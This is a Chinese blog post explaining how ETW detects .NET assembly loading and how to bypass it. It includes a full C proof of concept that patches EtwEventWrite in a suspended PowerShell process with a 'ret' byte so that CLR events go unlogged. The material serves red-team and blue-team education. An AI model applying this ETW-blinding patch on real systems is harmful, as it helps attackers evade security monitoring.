在【Day 23】为美好的 Windows 献上 ETW - Event Tracing for Windows 说过 ETW 对於篮队是一个非常有用的机制,可以蒐集使用者在系统上做的种种事情。然而虽然 ETW 很强大,但是仍然可能会被绕过,这篇就要来介绍一个绕过方法。
在绕过 ETW 之前,首先要了解 .NET Assemblies 这个先备知识。
在红队测试工具 Cobalt Strike 有个功能,叫做 bexecute_assembly,它会在 Process 中执行 .NET Assemblies。原理是透过 ICLRMetaHost、ICLRRuntimeInfo 和 ICLRRuntimeHost 达到将 CLR 载入的效果。其中 CLR 是 .NET Framework 的虚拟机器元件 (Virtual Machine Component),用来管理执行中的 .NET 程序。
.NET Assemblies 是有办法被侦测的,以下用 Process Explorer 做示范。
从观察可以看到,在 Process Explorer 中显示的 .NET Assemblies 就放着这个 Process 所使用的 .NET Assemblies 资源。
侦测的原理其实就是利用 ETW 的 Provider「.NET Common Language Runtime」,GUID 为 {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}
,使用方法可以参考之前的 Logman 或是用 KrabsETW 写 Consumer。
Provider GUID
-------------------------------------------------------------------------------
.NET Common Language Runtime {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}
Value Keyword Description
-------------------------------------------------------------------------------
0x0000000000000001 GCKeyword GC
0x0000000000000002 GCHandleKeyword GCHandle
0x0000000000000004 FusionKeyword Binder
0x0000000000000008 LoaderKeyword Loader
0x0000000000000010 JitKeyword Jit
0x0000000000000020 NGenKeyword NGen
0x0000000000000040 StartEnumerationKeyword StartEnumeration
0x0000000000000080 EndEnumerationKeyword StopEnumeration
0x0000000000000400 SecurityKeyword Security
0x0000000000000800 AppDomainResourceManagementKeyword AppDomainResourceManagement
0x0000000000001000 JitTracingKeyword JitTracing
0x0000000000002000 InteropKeyword Interop
0x0000000000004000 ContentionKeyword Contention
0x0000000000008000 ExceptionKeyword Exception
0x0000000000010000 ThreadingKeyword Threading
0x0000000000020000 JittedMethodILToNativeMapKeyword JittedMethodILToNativeMap
0x0000000000040000 OverrideAndSuppressNGenEventsKeyword OverrideAndSuppressNGenEvents
0x0000000000080000 TypeKeyword Type
0x0000000000100000 GCHeapDumpKeyword GCHeapDump
0x0000000000200000 GCSampledObjectAllocationHighKeyword GCSampledObjectAllocationHigh
0x0000000000400000 GCHeapSurvivalAndMovementKeyword GCHeapSurvivalAndMovement
0x0000000000800000 GCHeapCollectKeyword GCHeapCollect
0x0000000001000000 GCHeapAndTypeNamesKeyword GCHeapAndTypeNames
0x0000000002000000 GCSampledObjectAllocationLowKeyword GCSampledObjectAllocationLow
0x0000000020000000 PerfTrackKeyword PerfTrack
0x0000000040000000 StackKeyword Stack
0x0000000080000000 ThreadTransferKeyword ThreadTransfer
0x0000000100000000 DebuggerKeyword Debugger
0x0000000200000000 MonitoringKeyword Monitoring
Value Level Description
-------------------------------------------------------------------------------
0x00 win:LogAlways Log Always
0x02 win:Error Error
0x04 win:Informational Information
0x05 win:Verbose Verbose
而触发事件记录的地方是 Usermode,并且是从 Powershell 本身这个 Process 呼叫 EtwEventWrite 记录事件。
既然已经知道记录事件的是 Process 本身,那就可以在 Process 建立时就把 EtwEventWrite 窜改,让它没办法正常运作。
ret
程序是从 idiotc4t 的部落格取得,做了一些小修改和注解,完整的程序专案可以参考我的 GitHub zeze-zeze/2021iThome。
#include <Windows.h>
#include <Tlhelp32.h>
int main() {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
// 1. 建立一个 Powershell Process,并取得 Process Handle
CreateProcessA(NULL, (LPSTR)"powershell -noexit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// 2. 从 ntdll.dll 中取得 EtwEventWrite 的位址
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
LPVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
// 3. 把 EtwEventWrite 的位址的权限改成可读、可写、可执行(rwx)
DWORD oldProtect;
VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
// 4. 将 EtwEventWrite 的 Function 的第一个 byte 改成 0xc3,也就是组语的 ret
char patch = 0xc3;
WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);
// 5. 把 EtwEventWrite 的权限改回,并且继续执行 Process
VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
在执行 POC 後,会建立一个 Powershell Process,如同前面说的,目前的 EtwEventWrite 已经被改掉了,因此不会记录 .NET Assemblies 的事件。
再用 Process Explorer 打开看一次 Powershell 的状态,可以注意到 .NET Assemblies 这个栏位变空白了。
<<: Log Agent - Fluent Bit 安装与常见架构模式
前言 或许有些人会有所困惑, 同步非同步的实践难在哪里, 为甚麽要一直巴拉巴拉, 但事实上, 非同步...
ls 指令会列出目录中的各个档案与目录,供使用者浏览整个目录的结构,是个十分常用的指令。 但它的设计...
声码器 (Vocoder) 合成语音的概念最早是由贝尔实验室的工程师 - 荷马·达德利在 1928 ...
美国国防部在 2020 年1月底公布新规范 「网路安全成熟度模型认证Cybersecurity Ma...
Football Betting - Making Sense of the Odds Footba...